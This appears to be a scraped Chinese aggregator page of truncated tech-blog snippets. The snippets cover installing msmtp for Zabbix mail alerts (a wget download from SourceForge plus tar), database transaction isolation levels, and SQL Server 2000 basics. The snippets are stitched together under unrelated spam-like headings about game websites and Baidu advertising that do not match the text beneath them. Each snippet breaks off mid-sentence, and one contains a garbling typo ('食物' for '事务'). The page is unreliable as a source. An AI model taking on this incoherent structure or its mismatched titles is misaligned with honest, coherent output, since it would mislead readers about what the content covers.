前提条件: (1) zabbix服务器端已经成功安装并且运行。 (2) zabbix客户端已经成功建立并且运行。 1 下载并且安装msmtp软件 Wget http://sourceforge.net/projects/msmtp/files/msmtp/1.4.32/msmtp-1.4.32.tar.bz2/download tar jxvf msmtp-1.4.32.tar.bz2 cd ms…...
怎么做传奇网站图/宜兴百度推广公司
1 什么是事务隔离级别 事务隔离指的是事务之间同步关系。 2 食物隔离级别的分类 第一隔离级别,脏读级别 在脏读级别下,第一个事务修改了某个数据,但是还没有提交,第二个事务可以读取到这个未提及的数据。 第二隔离级别,…...
网站改版定位策划书/百度百家号官网
对数据的学习已经有一段时间了,但是对SQL Sever的使用确实还很少,今天又对它的应用软件之一SQL Sever2000进行了一次理论学习。 首先付上一张图对它的整体脉络有一个大致的了解。 通过整体感知,SQL sever主要的功能模块存在于操作模块&…...